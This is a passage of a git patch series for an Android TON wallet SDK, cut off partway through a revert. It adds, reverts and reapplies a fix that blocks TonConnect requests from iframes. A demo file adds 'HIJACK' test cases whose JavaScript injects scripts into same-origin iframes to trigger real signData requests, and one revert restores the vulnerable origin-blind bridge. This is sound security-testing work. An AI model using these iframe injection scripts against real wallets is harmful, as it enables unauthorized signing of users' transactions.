private fun handleBridgeMessage(json: JsonObject, type: String, sourceOrigin: String?, isMainFrame: Boolean) { scope.launch { when (type) { - BrowserConstants.MESSAGE_TYPE_BRIDGE_REQUEST -> handleBridgeRequest(json) + BrowserConstants.MESSAGE_TYPE_BRIDGE_REQUEST -> handleBridgeRequest(json, sourceOrigin, isMainFrame) else -> Logger.w(TAG, "Unknown message type: $type") } } } - private fun handleBridgeRequest(json: JsonObject) { + /** + * Entry point for the WebMessageListener transport: carries the platform-authenticated + * [sourceOrigin] and [isMainFrame] for the frame that posted the message. + */ + private fun handleSecureBridgeMessage(message: String?, sourceOrigin: String?, isMainFrame: Boolean) { + val raw = message ?: return + val json = try { + Json.parseToJsonElement(raw).jsonObject + } catch (e: Exception) { + Logger.e(TAG, "Failed to parse secure bridge message", e) + return + } + val type = json.optString(BrowserConstants.KEY_TYPE) + handleBridgeMessage(json, type, sourceOrigin, isMainFrame) + } + + private fun handleBridgeRequest(json: JsonObject, sourceOrigin: String?, isMainFrame: Boolean) { val frameId = json.optString(BrowserConstants.KEY_FRAME_ID, BrowserConstants.DEFAULT_FRAME_ID) val messageId = json.optString(BrowserConstants.KEY_MESSAGE_ID) val method = json.optString(BrowserConstants.KEY_METHOD, BrowserConstants.DEFAULT_METHOD) @@ -462,6 +518,18 @@ internal class TonConnectInjector( return } + // SECURITY: only the top (main) frame may drive the wallet. A request from any + // sub-frame (iframe) — regardless of its origin or self-reported frameId — is + // rejected, so an embedded iframe cannot issue connect/sign/transaction calls under + // the host dApp's identity. (isMainFrame is platform-authenticated via the + // WebMessageListener; on legacy WebViews without it, it is true by best-effort.) + if (!isMainFrame) { + Logger.w(TAG, "Blocked TonConnect '$method' from sub-frame (origin=$sourceOrigin, frameId=$frameId)") + pendingRequests[messageId] = PendingRequest(frameId, messageId, method, System.currentTimeMillis()) + sendResponse(messageId, errorResponse(FORBIDDEN_IFRAME_MESSAGE, ERROR_CODE_FORBIDDEN)) + return + } + // Store pending request with frame info val pending = PendingRequest( frameId = frameId, @@ -475,17 +543,7 @@ internal class TonConnectInjector( val engine = engine if (engine == null) { Logger.e(TAG, "WalletKit engine not available!") - // Send error response back to dApp - val errorResponse = buildJsonObject { - put( - ResponseConstants.KEY_ERROR, - buildJsonObject { - put(ResponseConstants.KEY_MESSAGE, ERROR_WALLET_ENGINE_NOT_INITIALIZED) - put(ResponseConstants.KEY_CODE, ERROR_CODE_INTERNAL) - }, - ) - } - sendResponse(messageId, errorResponse) + sendResponse(messageId, errorResponse(ERROR_WALLET_ENGINE_NOT_INITIALIZED, ERROR_CODE_INTERNAL)) return } @@ -512,9 +570,14 @@ internal class TonConnectInjector( // string so the engine can parse it back per the TonConnect method contract. val paramsJson: String? = json[ResponseConstants.KEY_PARAMS]?.toString() - // Use WebView's current URL (the main frame URL) instead of tracking it manually - // This is more reliable than trying to detect page vs resource loads - val dAppUrl = webView.url ?: currentUrl + // SECURITY: derive the dApp domain from the platform-authenticated frame + // origin (sourceOrigin) rather than webView.url. webView.url is always the + // main-frame URL, so using it would attribute the request to the host dApp + // regardless of which frame actually sent it. Fall back to webView.url only + // on legacy WebViews where sourceOrigin is unavailable. + val dAppUrl = sourceOrigin?.takeIf { it.isNotBlank() && it != "null" } + ?: webView.url + ?: currentUrl engine.handleTonConnectRequest( messageId = messageId, @@ -528,17 +591,7 @@ internal class TonConnectInjector( ) } catch (e: Exception) { Logger.e(TAG, "Failed to forward request to WalletKit engine", e) - // Send error response back to dApp - val errorResponse = buildJsonObject { - put( - ResponseConstants.KEY_ERROR, - buildJsonObject { - put(ResponseConstants.KEY_MESSAGE, e.message ?: ERROR_FAILED_PROCESS_REQUEST) - put(ResponseConstants.KEY_CODE, ERROR_CODE_INTERNAL) - }, - ) - } - sendResponse(messageId, errorResponse) + sendResponse(messageId, errorResponse(e.message ?: ERROR_FAILED_PROCESS_REQUEST, ERROR_CODE_INTERNAL)) } } } @@ -563,6 +616,16 @@ internal class TonConnectInjector( ) } + private fun errorResponse(message: String, code: Int): JsonObject = buildJsonObject { + put( + ResponseConstants.KEY_ERROR, + buildJsonObject { + put(ResponseConstants.KEY_MESSAGE, message) + put(ResponseConstants.KEY_CODE, code) + }, + ) + } + @Serializable private data class InjectOptions( val isWalletBrowser: Boolean, From 8af867c000268a72e687cd22be4071abb8fbca5b Mon Sep 17 00:00:00 2001 From: Nikita Rodionov Date: Thu, 11 Jun 2026 16:17:38 +0300 Subject: [PATCH 03/10] Revert "Additional cases" This reverts commit baa65476f37669afb49c5e5814f00ec0fbe905c5. --- .../walletkit/browser/TonConnectInjector.kt | 135 +++++------------- 1 file changed, 36 insertions(+), 99 deletions(-) diff --git a/TONWalletKit-Android/impl/src/main/java/io/ton/walletkit/browser/TonConnectInjector.kt b/TONWalletKit-Android/impl/src/main/java/io/ton/walletkit/browser/TonConnectInjector.kt index 695cf5f3..dfa6a59d 100644 --- a/TONWalletKit-Android/impl/src/main/java/io/ton/walletkit/browser/TonConnectInjector.kt +++ b/TONWalletKit-Android/impl/src/main/java/io/ton/walletkit/browser/TonConnectInjector.kt @@ -54,7 +54,6 @@ import kotlinx.serialization.encodeToString import kotlinx.serialization.json.Json import kotlinx.serialization.json.JsonObject import kotlinx.serialization.json.buildJsonObject -import kotlinx.serialization.json.jsonObject import kotlinx.serialization.json.put import java.lang.ref.WeakReference import java.util.concurrent.ConcurrentHashMap @@ -85,9 +84,6 @@ internal class TonConnectInjector( private const val ERROR_WALLET_ENGINE_NOT_INITIALIZED = "Wallet engine not initialized" private const val ERROR_FAILED_PROCESS_REQUEST = "Failed to process request" private const val ERROR_CODE_INTERNAL = 500 - private const val ERROR_CODE_FORBIDDEN = 403 - private const val FORBIDDEN_IFRAME_MESSAGE = - "TonConnect requests are only allowed from the top frame, not from iframes" private const val METHOD_SEND = "send" // Registry of active WebViews for JS Bridge sessions @@ -201,38 +197,15 @@ internal class TonConnectInjector( */ @SuppressLint("SetJavaScriptEnabled") override fun setup() { - // Bridge communication intake. - // - // SECURITY: prefer WebViewCompat.addWebMessageListener over addJavascriptInterface. - // A @JavascriptInterface method carries NO information about which frame called it, - // so the bridge previously attributed every request to webView.url (the main-frame - // URL) — letting any embedded iframe issue connect/sign/transaction calls under the - // host dApp's identity. A WebMessageListener instead delivers the platform- - // authenticated sourceOrigin and isMainFrame for the calling frame, which JS cannot - // forge. Registering it under the same JS object name the bundle already uses - // (window..postMessage) makes it a drop-in for request intake; - // responses are still delivered via postWebMessage and are unaffected. + // Add JavaScript interface for bridge communication bridgeInterface = BridgeInterface( - onMessage = { json, type -> handleBridgeMessage(json, type, sourceOrigin = null, isMainFrame = true) }, + onMessage = { json, type -> handleBridgeMessage(json, type) }, onError = { error -> Logger.e(TAG, "Bridge error: $error") }, ) - - if (WebViewFeature.isFeatureSupported(WebViewFeature.WEB_MESSAGE_LISTENER)) { - WebViewCompat.addWebMessageListener( - webView, - BrowserConstants.JS_INTERFACE_NAME, - setOf("*"), - ) { _, message, sourceOrigin, isMainFrame, _ -> - handleSecureBridgeMessage(message.data, sourceOrigin.toString(), isMainFrame) - } - Logger.d(TAG, "Bridge intake via WebMessageListener (per-frame origin enforced)") - } else { - // Legacy WebView without per-frame origin support: fall back to the origin-blind - // JS interface. Frame identity is unavailable here, so requests are treated as - // main-frame (best effort) — these old WebView versions are increasingly rare. - Logger.w(TAG, "WEB_MESSAGE_LISTENER unsupported — per-frame origin enforcement unavailable") - webView.addJavascriptInterface(bridgeInterface, BrowserConstants.JS_INTERFACE_NAME) - } + webView.addJavascriptInterface( + bridgeInterface, + BrowserConstants.JS_INTERFACE_NAME, + ) // Register WebView with existing sessions (important when app is reopened) // This ensures disconnect and other events work after the WebView is recreated @@ -267,23 +240,10 @@ internal class TonConnectInjector( val config = (walletKit as? TONWalletKit)?.engine?.getConfiguration() val injectOptions = buildInjectOptions(config) - // Create initialization script that calls window.injectWalletKit(options). - // The WebMessageListener object (window.) may attach a - // moment after this document-start script runs, so wait briefly for it before - // initialising the bridge — otherwise the bundle's transport would not find it. + // Create initialization script that calls window.injectWalletKit(options) val fullScript = """ $injectionScript - (function () { - var init = function () { window.injectWalletKit($injectOptions); }; - if (typeof ${BrowserConstants.JS_INTERFACE_NAME} !== 'undefined') { init(); return; } - var tries = 0; - var timer = setInterval(function () { - if (typeof ${BrowserConstants.JS_INTERFACE_NAME} !== 'undefined' || tries++ > 50) { - clearInterval(timer); - init(); - } - }, 2); - })(); + window.injectWalletKit($injectOptions); """.trimIndent() // Allow all origins (*) since this is a wallet browser that loads any dApp @@ -483,32 +443,16 @@ internal class TonConnectInjector( pendingRequests.clear() } - private fun handleBridgeMessage(json: JsonObject, type: String, sourceOrigin: String?, isMainFrame: Boolean) { + private fun handleBridgeMessage(json: JsonObject, type: String) { scope.launch { when (type) { - BrowserConstants.MESSAGE_TYPE_BRIDGE_REQUEST -> handleBridgeRequest(json, sourceOrigin, isMainFrame) + BrowserConstants.MESSAGE_TYPE_BRIDGE_REQUEST -> handleBridgeRequest(json) else -> Logger.w(TAG, "Unknown message type: $type") } } } - /** - * Entry point for the WebMessageListener transport: carries the platform-authenticated - * [sourceOrigin] and [isMainFrame] for the frame that posted the message. - */ - private fun handleSecureBridgeMessage(message: String?, sourceOrigin: String?, isMainFrame: Boolean) { - val raw = message ?: return - val json = try { - Json.parseToJsonElement(raw).jsonObject - } catch (e: Exception) { - Logger.e(TAG, "Failed to parse secure bridge message", e) - return - } - val type = json.optString(BrowserConstants.KEY_TYPE) - handleBridgeMessage(json, type, sourceOrigin, isMainFrame) - } - - private fun handleBridgeRequest(json: JsonObject, sourceOrigin: String?, isMainFrame: Boolean) { + private fun handleBridgeRequest(json: JsonObject) { val frameId = json.optString(BrowserConstants.KEY_FRAME_ID, BrowserConstants.DEFAULT_FRAME_ID) val messageId = json.optString(BrowserConstants.KEY_MESSAGE_ID) val method = json.optString(BrowserConstants.KEY_METHOD, BrowserConstants.DEFAULT_METHOD) @@ -518,18 +462,6 @@ internal class TonConnectInjector( return } - // SECURITY: only the top (main) frame may drive the wallet. A request from any - // sub-frame (iframe) — regardless of its origin or self-reported frameId — is - // rejected, so an embedded iframe cannot issue connect/sign/transaction calls under - // the host dApp's identity. (isMainFrame is platform-authenticated via the - // WebMessageListener; on legacy WebViews without it, it is true by best-effort.) - if (!isMainFrame) { - Logger.w(TAG, "Blocked TonConnect '$method' from sub-frame (origin=$sourceOrigin, frameId=$frameId)") - pendingRequests[messageId] = PendingRequest(frameId, messageId, method, System.currentTimeMillis()) - sendResponse(messageId, errorResponse(FORBIDDEN_IFRAME_MESSAGE, ERROR_CODE_FORBIDDEN)) - return - } - // Store pending request with frame info val pending = PendingRequest( frameId = frameId, @@ -543,7 +475,17 @@ internal class TonConnectInjector( val engine = engine if (engine == null) { Logger.e(TAG, "WalletKit engine not available!") - sendResponse(messageId, errorResponse(ERROR_WALLET_ENGINE_NOT_INITIALIZED, ERROR_CODE_INTERNAL)) + // Send error response back to dApp + val errorResponse = buildJsonObject { + put( + ResponseConstants.KEY_ERROR, + buildJsonObject { + put(ResponseConstants.KEY_MESSAGE, ERROR_WALLET_ENGINE_NOT_INITIALIZED) + put(ResponseConstants.KEY_CODE, ERROR_CODE_INTERNAL) + }, + ) + } + sendResponse(messageId, errorResponse) return } @@ -570,14 +512,9 @@ internal class TonConnectInjector( // string so the engine can parse it back per the TonConnect method contract. val paramsJson: String? = json[ResponseConstants.KEY_PARAMS]?.toString() - // SECURITY: derive the dApp domain from the platform-authenticated frame - // origin (sourceOrigin) rather than webView.url. webView.url is always the - // main-frame URL, so using it would attribute the request to the host dApp - // regardless of which frame actually sent it. Fall back to webView.url only - // on legacy WebViews where sourceOrigin is unavailable. - val dAppUrl = sourceOrigin?.takeIf { it.isNotBlank() && it != "null" } - ?: webView.url - ?: currentUrl + // Use WebView's current URL (the main frame URL) instead of tracking it manually + // This is more reliable than trying to detect page vs resource loads + val dAppUrl = webView.url ?: currentUrl engine.handleTonConnectRequest( messageId = messageId, @@ -591,7 +528,17 @@ internal class TonConnectInjector( ) } catch (e: Exception) { Logger.e(TAG, "Failed to forward request to WalletKit engine", e) - sendResponse(messageId, errorResponse(e.message ?: ERROR_FAILED_PROCESS_REQUEST, ERROR_CODE_INTERNAL)) + // Send error response back to dApp + val errorResponse = buildJsonObject { + put( + ResponseConstants.KEY_ERROR, + buildJsonObject { + put(ResponseConstants.KEY_MESSAGE, e.message ?: ERROR_FAILED_PROCESS_REQUEST) + put(ResponseConstants.KEY_CODE, ERROR_CODE_INTERNAL) + }, + ) + } + sendResponse(messageId, errorResponse) } } } @@ -616,16 +563,6 @@ internal class TonConnectInjector( ) } - private fun errorResponse(message: String, code: Int): JsonObject = buildJsonObject { - put( - ResponseConstants.KEY_ERROR, - buildJsonObject { - put(ResponseConstants.KEY_MESSAGE, message) - put(ResponseConstants.KEY_CODE, code) - }, - ) - } - @Serializable private data class InjectOptions( val isWalletBrowser: Boolean, From 553b0032587618348e6f74dcc9b02c03721a5feb Mon Sep 17 00:00:00 2001 From: Nikita Rodionov Date: Thu, 11 Jun 2026 16:17:49 +0300 Subject: [PATCH 04/10] Additional cases --- .../screen/iframesec/RealBridgeIframeCase.kt | 64 +++++++++++++++++++ 1 file changed, 64 insertions(+) diff --git a/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/RealBridgeIframeCase.kt b/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/RealBridgeIframeCase.kt index 2b10f853..c3e1c187 100644 --- a/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/RealBridgeIframeCase.kt +++ b/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/RealBridgeIframeCase.kt @@ -40,6 +40,8 @@ import android.util.Base64 enum class RealBridgeIframeCase { BASELINE_MAIN, SAME_ORIGIN_NAVIGATED, + SAME_ORIGIN_NESTED, + SAME_URL_IFRAME, CROSS_ORIGIN_DATA, SRCDOC, SANDBOXED, @@ -49,6 +51,8 @@ enum class RealBridgeIframeCase { get() = when (this) { BASELINE_MAIN -> "Main" SAME_ORIGIN_NAVIGATED -> "Same-origin" + SAME_ORIGIN_NESTED -> "Nested SO" + SAME_URL_IFRAME -> "Same-URL" CROSS_ORIGIN_DATA -> "data:" SRCDOC -> "srcdoc" SANDBOXED -> "sandboxed" @@ -59,6 +63,8 @@ enum class RealBridgeIframeCase { get() = when (this) { BASELINE_MAIN -> "Baseline — main dApp frame (legit)" SAME_ORIGIN_NAVIGATED -> "Same-host navigated iframe" + SAME_ORIGIN_NESTED -> "Nested same-host iframes — HIJACK" + SAME_URL_IFRAME -> "Same-URL iframe (identical to main, ?qa=1) — HIJACK" CROSS_ORIGIN_DATA -> "Cross-origin data: iframe — HIJACK" SRCDOC -> "srcdoc iframe — HIJACK" SANDBOXED -> "Sandboxed iframe — HIJACK" @@ -73,6 +79,13 @@ enum class RealBridgeIframeCase { SAME_ORIGIN_NAVIGATED -> "An iframe navigated to a path on the same host as the dApp. Its request is attributed " + "to the dApp domain (webView.url) and authorized, though it never connected." + SAME_ORIGIN_NESTED -> + "A same-host iframe nested inside another same-host iframe (parent → A → B). The deepest " + + "frame fires a real signData; it is still attributed to the dApp domain and authorized." + SAME_URL_IFRAME -> + "An iframe whose src is the EXACT same URL as the main frame " + + "(https://tonconnect-sdk-demo-dapp.vercel.app/?qa=1) — an embedded copy of the dApp " + + "itself. Same origin, so its real signData is attributed to the dApp domain and authorized." CROSS_ORIGIN_DATA -> "Opaque-origin data: iframe sends a complete signData. On Android the bridge keys on " + "webView.url, so it is attributed to the dApp domain and AUTHORIZED — the core hijack." @@ -128,6 +141,57 @@ enum class RealBridgeIframeCase { """.trimIndent() } + SAME_ORIGIN_NESTED -> { + // INNER runs in the deepest (depth-2) same-host frame and auto-fires signData. + val inner = realSendScript("NESTED-IFRAME-B (depth 2, same host)", "Deepest same-host frame. Never connected.") + // BUILDER runs in the middle (depth-1) frame: it creates the depth-2 same-host + // iframe and injects INNER into it (same-origin chain, so contentWindow access works). + val builder = """ + (function(){ + var INNER=${jsString(inner)}; + var f2=document.createElement('iframe'); + ${frameStyle("f2")} + f2.src=${jsString(SAME_ORIGIN_URL)}; + f2.addEventListener('load',function(){ + try{var d=f2.contentWindow.document;var s=d.createElement('script');s.textContent=INNER;(d.body||d.documentElement).appendChild(s);}catch(e){} + }); + (document.body||document.documentElement).appendChild(f2); + })(); + """.trimIndent() + """ + (function(){ + var BUILDER=${jsString(builder)}; + var f=document.createElement('iframe'); + ${frameStyle("f")} + f.src=${jsString(SAME_ORIGIN_URL)}; + f.addEventListener('load',function(){ + try{var d=f.contentWindow.document;var s=d.createElement('script');s.textContent=BUILDER;(d.body||d.documentElement).appendChild(s);} + catch(e){try{window.iframeSecLog.postMessage(JSON.stringify({frameLabel:'NESTED-SO',action:'CANNOT INJECT (cross-origin?)',claimedOrigin:(location.origin||'null'),ts:Date.now()}));}catch(x){}} + }); + __ifsecAdd(f); + })(); + """.trimIndent() + } + + SAME_URL_IFRAME -> { + // iframe whose src is the exact same URL as the main frame (DAPP_URL, with ?qa=1). + // Same origin, so we inject the real-send script into it via contentWindow. + val script = realSendScript("SAME-URL-IFRAME", "Same URL as the main frame ($DAPP_URL). Never connected.") + """ + (function(){ + var SRC=${jsString(script)}; + var f=document.createElement('iframe'); + ${frameStyle("f")} + f.src=${jsString(DAPP_URL)}; + f.addEventListener('load',function(){ + try{var d=f.contentWindow.document;var s=d.createElement('script');s.textContent=SRC;(d.body||d.documentElement).appendChild(s);} + catch(e){try{window.iframeSecLog.postMessage(JSON.stringify({frameLabel:'SAME-URL-IFRAME',action:'CANNOT INJECT (cross-origin?)',claimedOrigin:(location.origin||'null'),ts:Date.now()}));}catch(x){}} + }); + __ifsecAdd(f); + })(); + """.trimIndent() + } + CROSS_ORIGIN_DATA -> { val html = selfContainedDoc("DATA-IFRAME", "Opaque origin. Never connected.") """ From d72b699838baab5ed3779f126e8fcb63f82512f7 Mon Sep 17 00:00:00 2001 From: Nikita Rodionov Date: Thu, 11 Jun 2026 16:17:25 +0300 Subject: [PATCH 05/10] Additional cases --- .../walletkit/browser/TonConnectInjector.kt | 135 +++++++++++++----- 1 file changed, 99 insertions(+), 36 deletions(-) diff --git a/TONWalletKit-Android/impl/src/main/java/io/ton/walletkit/browser/TonConnectInjector.kt b/TONWalletKit-Android/impl/src/main/java/io/ton/walletkit/browser/TonConnectInjector.kt index dfa6a59d..695cf5f3 100644 --- a/TONWalletKit-Android/impl/src/main/java/io/ton/walletkit/browser/TonConnectInjector.kt +++ b/TONWalletKit-Android/impl/src/main/java/io/ton/walletkit/browser/TonConnectInjector.kt @@ -54,6 +54,7 @@ import kotlinx.serialization.encodeToString import kotlinx.serialization.json.Json import kotlinx.serialization.json.JsonObject import kotlinx.serialization.json.buildJsonObject +import kotlinx.serialization.json.jsonObject import kotlinx.serialization.json.put import java.lang.ref.WeakReference import java.util.concurrent.ConcurrentHashMap @@ -84,6 +85,9 @@ internal class TonConnectInjector( private const val ERROR_WALLET_ENGINE_NOT_INITIALIZED = "Wallet engine not initialized" private const val ERROR_FAILED_PROCESS_REQUEST = "Failed to process request" private const val ERROR_CODE_INTERNAL = 500 + private const val ERROR_CODE_FORBIDDEN = 403 + private const val FORBIDDEN_IFRAME_MESSAGE = + "TonConnect requests are only allowed from the top frame, not from iframes" private const val METHOD_SEND = "send" // Registry of active WebViews for JS Bridge sessions @@ -197,15 +201,38 @@ internal class TonConnectInjector( */ @SuppressLint("SetJavaScriptEnabled") override fun setup() { - // Add JavaScript interface for bridge communication + // Bridge communication intake. + // + // SECURITY: prefer WebViewCompat.addWebMessageListener over addJavascriptInterface. + // A @JavascriptInterface method carries NO information about which frame called it, + // so the bridge previously attributed every request to webView.url (the main-frame + // URL) — letting any embedded iframe issue connect/sign/transaction calls under the + // host dApp's identity. A WebMessageListener instead delivers the platform- + // authenticated sourceOrigin and isMainFrame for the calling frame, which JS cannot + // forge. Registering it under the same JS object name the bundle already uses + // (window..postMessage) makes it a drop-in for request intake; + // responses are still delivered via postWebMessage and are unaffected. bridgeInterface = BridgeInterface( - onMessage = { json, type -> handleBridgeMessage(json, type) }, + onMessage = { json, type -> handleBridgeMessage(json, type, sourceOrigin = null, isMainFrame = true) }, onError = { error -> Logger.e(TAG, "Bridge error: $error") }, ) - webView.addJavascriptInterface( - bridgeInterface, - BrowserConstants.JS_INTERFACE_NAME, - ) + + if (WebViewFeature.isFeatureSupported(WebViewFeature.WEB_MESSAGE_LISTENER)) { + WebViewCompat.addWebMessageListener( + webView, + BrowserConstants.JS_INTERFACE_NAME, + setOf("*"), + ) { _, message, sourceOrigin, isMainFrame, _ -> + handleSecureBridgeMessage(message.data, sourceOrigin.toString(), isMainFrame) + } + Logger.d(TAG, "Bridge intake via WebMessageListener (per-frame origin enforced)") + } else { + // Legacy WebView without per-frame origin support: fall back to the origin-blind + // JS interface. Frame identity is unavailable here, so requests are treated as + // main-frame (best effort) — these old WebView versions are increasingly rare. + Logger.w(TAG, "WEB_MESSAGE_LISTENER unsupported — per-frame origin enforcement unavailable") + webView.addJavascriptInterface(bridgeInterface, BrowserConstants.JS_INTERFACE_NAME) + } // Register WebView with existing sessions (important when app is reopened) // This ensures disconnect and other events work after the WebView is recreated @@ -240,10 +267,23 @@ internal class TonConnectInjector( val config = (walletKit as? TONWalletKit)?.engine?.getConfiguration() val injectOptions = buildInjectOptions(config) - // Create initialization script that calls window.injectWalletKit(options) + // Create initialization script that calls window.injectWalletKit(options). + // The WebMessageListener object (window.) may attach a + // moment after this document-start script runs, so wait briefly for it before + // initialising the bridge — otherwise the bundle's transport would not find it. val fullScript = """ $injectionScript - window.injectWalletKit($injectOptions); + (function () { + var init = function () { window.injectWalletKit($injectOptions); }; + if (typeof ${BrowserConstants.JS_INTERFACE_NAME} !== 'undefined') { init(); return; } + var tries = 0; + var timer = setInterval(function () { + if (typeof ${BrowserConstants.JS_INTERFACE_NAME} !== 'undefined' || tries++ > 50) { + clearInterval(timer); + init(); + } + }, 2); + })(); """.trimIndent() // Allow all origins (*) since this is a wallet browser that loads any dApp @@ -443,16 +483,32 @@ internal class TonConnectInjector( pendingRequests.clear() } - private fun handleBridgeMessage(json: JsonObject, type: String) { + private fun handleBridgeMessage(json: JsonObject, type: String, sourceOrigin: String?, isMainFrame: Boolean) { scope.launch { when (type) { - BrowserConstants.MESSAGE_TYPE_BRIDGE_REQUEST -> handleBridgeRequest(json) + BrowserConstants.MESSAGE_TYPE_BRIDGE_REQUEST -> handleBridgeRequest(json, sourceOrigin, isMainFrame) else -> Logger.w(TAG, "Unknown message type: $type") } } } - private fun handleBridgeRequest(json: JsonObject) { + /** + * Entry point for the WebMessageListener transport: carries the platform-authenticated + * [sourceOrigin] and [isMainFrame] for the frame that posted the message. + */ + private fun handleSecureBridgeMessage(message: String?, sourceOrigin: String?, isMainFrame: Boolean) { + val raw = message ?: return + val json = try { + Json.parseToJsonElement(raw).jsonObject + } catch (e: Exception) { + Logger.e(TAG, "Failed to parse secure bridge message", e) + return + } + val type = json.optString(BrowserConstants.KEY_TYPE) + handleBridgeMessage(json, type, sourceOrigin, isMainFrame) + } + + private fun handleBridgeRequest(json: JsonObject, sourceOrigin: String?, isMainFrame: Boolean) { val frameId = json.optString(BrowserConstants.KEY_FRAME_ID, BrowserConstants.DEFAULT_FRAME_ID) val messageId = json.optString(BrowserConstants.KEY_MESSAGE_ID) val method = json.optString(BrowserConstants.KEY_METHOD, BrowserConstants.DEFAULT_METHOD) @@ -462,6 +518,18 @@ internal class TonConnectInjector( return } + // SECURITY: only the top (main) frame may drive the wallet. A request from any + // sub-frame (iframe) — regardless of its origin or self-reported frameId — is + // rejected, so an embedded iframe cannot issue connect/sign/transaction calls under + // the host dApp's identity. (isMainFrame is platform-authenticated via the + // WebMessageListener; on legacy WebViews without it, it is true by best-effort.) + if (!isMainFrame) { + Logger.w(TAG, "Blocked TonConnect '$method' from sub-frame (origin=$sourceOrigin, frameId=$frameId)") + pendingRequests[messageId] = PendingRequest(frameId, messageId, method, System.currentTimeMillis()) + sendResponse(messageId, errorResponse(FORBIDDEN_IFRAME_MESSAGE, ERROR_CODE_FORBIDDEN)) + return + } + // Store pending request with frame info val pending = PendingRequest( frameId = frameId, @@ -475,17 +543,7 @@ internal class TonConnectInjector( val engine = engine if (engine == null) { Logger.e(TAG, "WalletKit engine not available!") - // Send error response back to dApp - val errorResponse = buildJsonObject { - put( - ResponseConstants.KEY_ERROR, - buildJsonObject { - put(ResponseConstants.KEY_MESSAGE, ERROR_WALLET_ENGINE_NOT_INITIALIZED) - put(ResponseConstants.KEY_CODE, ERROR_CODE_INTERNAL) - }, - ) - } - sendResponse(messageId, errorResponse) + sendResponse(messageId, errorResponse(ERROR_WALLET_ENGINE_NOT_INITIALIZED, ERROR_CODE_INTERNAL)) return } @@ -512,9 +570,14 @@ internal class TonConnectInjector( // string so the engine can parse it back per the TonConnect method contract. val paramsJson: String? = json[ResponseConstants.KEY_PARAMS]?.toString() - // Use WebView's current URL (the main frame URL) instead of tracking it manually - // This is more reliable than trying to detect page vs resource loads - val dAppUrl = webView.url ?: currentUrl + // SECURITY: derive the dApp domain from the platform-authenticated frame + // origin (sourceOrigin) rather than webView.url. webView.url is always the + // main-frame URL, so using it would attribute the request to the host dApp + // regardless of which frame actually sent it. Fall back to webView.url only + // on legacy WebViews where sourceOrigin is unavailable. + val dAppUrl = sourceOrigin?.takeIf { it.isNotBlank() && it != "null" } + ?: webView.url + ?: currentUrl engine.handleTonConnectRequest( messageId = messageId, @@ -528,17 +591,7 @@ internal class TonConnectInjector( ) } catch (e: Exception) { Logger.e(TAG, "Failed to forward request to WalletKit engine", e) - // Send error response back to dApp - val errorResponse = buildJsonObject { - put( - ResponseConstants.KEY_ERROR, - buildJsonObject { - put(ResponseConstants.KEY_MESSAGE, e.message ?: ERROR_FAILED_PROCESS_REQUEST) - put(ResponseConstants.KEY_CODE, ERROR_CODE_INTERNAL) - }, - ) - } - sendResponse(messageId, errorResponse) + sendResponse(messageId, errorResponse(e.message ?: ERROR_FAILED_PROCESS_REQUEST, ERROR_CODE_INTERNAL)) } } } @@ -563,6 +616,16 @@ internal class TonConnectInjector( ) } + private fun errorResponse(message: String, code: Int): JsonObject = buildJsonObject { + put( + ResponseConstants.KEY_ERROR, + buildJsonObject { + put(ResponseConstants.KEY_MESSAGE, message) + put(ResponseConstants.KEY_CODE, code) + }, + ) + } + @Serializable private data class InjectOptions( val isWalletBrowser: Boolean, From ae39cd41cda41829caa95ee4717c1f063286d594 Mon Sep 17 00:00:00 2001 From: Nikita Rodionov Date: Thu, 11 Jun 2026 16:24:24 +0300 Subject: [PATCH 06/10] Revert "Additional cases" This reverts commit d72b699838baab5ed3779f126e8fcb63f82512f7. --- .../walletkit/browser/TonConnectInjector.kt | 135 +++++------------- 1 file changed, 36 insertions(+), 99 deletions(-) diff --git a/TONWalletKit-Android/impl/src/main/java/io/ton/walletkit/browser/TonConnectInjector.kt b/TONWalletKit-Android/impl/src/main/java/io/ton/walletkit/browser/TonConnectInjector.kt index 695cf5f3..dfa6a59d 100644 --- a/TONWalletKit-Android/impl/src/main/java/io/ton/walletkit/browser/TonConnectInjector.kt +++ b/TONWalletKit-Android/impl/src/main/java/io/ton/walletkit/browser/TonConnectInjector.kt @@ -54,7 +54,6 @@ import kotlinx.serialization.encodeToString import kotlinx.serialization.json.Json import kotlinx.serialization.json.JsonObject import kotlinx.serialization.json.buildJsonObject -import kotlinx.serialization.json.jsonObject import kotlinx.serialization.json.put import java.lang.ref.WeakReference import java.util.concurrent.ConcurrentHashMap @@ -85,9 +84,6 @@ internal class TonConnectInjector( private const val ERROR_WALLET_ENGINE_NOT_INITIALIZED = "Wallet engine not initialized" private const val ERROR_FAILED_PROCESS_REQUEST = "Failed to process request" private const val ERROR_CODE_INTERNAL = 500 - private const val ERROR_CODE_FORBIDDEN = 403 - private const val FORBIDDEN_IFRAME_MESSAGE = - "TonConnect requests are only allowed from the top frame, not from iframes" private const val METHOD_SEND = "send" // Registry of active WebViews for JS Bridge sessions @@ -201,38 +197,15 @@ internal class TonConnectInjector( */ @SuppressLint("SetJavaScriptEnabled") override fun setup() { - // Bridge communication intake. - // - // SECURITY: prefer WebViewCompat.addWebMessageListener over addJavascriptInterface. - // A @JavascriptInterface method carries NO information about which frame called it, - // so the bridge previously attributed every request to webView.url (the main-frame - // URL) — letting any embedded iframe issue connect/sign/transaction calls under the - // host dApp's identity. A WebMessageListener instead delivers the platform- - // authenticated sourceOrigin and isMainFrame for the calling frame, which JS cannot - // forge. Registering it under the same JS object name the bundle already uses - // (window..postMessage) makes it a drop-in for request intake; - // responses are still delivered via postWebMessage and are unaffected. + // Add JavaScript interface for bridge communication bridgeInterface = BridgeInterface( - onMessage = { json, type -> handleBridgeMessage(json, type, sourceOrigin = null, isMainFrame = true) }, + onMessage = { json, type -> handleBridgeMessage(json, type) }, onError = { error -> Logger.e(TAG, "Bridge error: $error") }, ) - - if (WebViewFeature.isFeatureSupported(WebViewFeature.WEB_MESSAGE_LISTENER)) { - WebViewCompat.addWebMessageListener( - webView, - BrowserConstants.JS_INTERFACE_NAME, - setOf("*"), - ) { _, message, sourceOrigin, isMainFrame, _ -> - handleSecureBridgeMessage(message.data, sourceOrigin.toString(), isMainFrame) - } - Logger.d(TAG, "Bridge intake via WebMessageListener (per-frame origin enforced)") - } else { - // Legacy WebView without per-frame origin support: fall back to the origin-blind - // JS interface. Frame identity is unavailable here, so requests are treated as - // main-frame (best effort) — these old WebView versions are increasingly rare. - 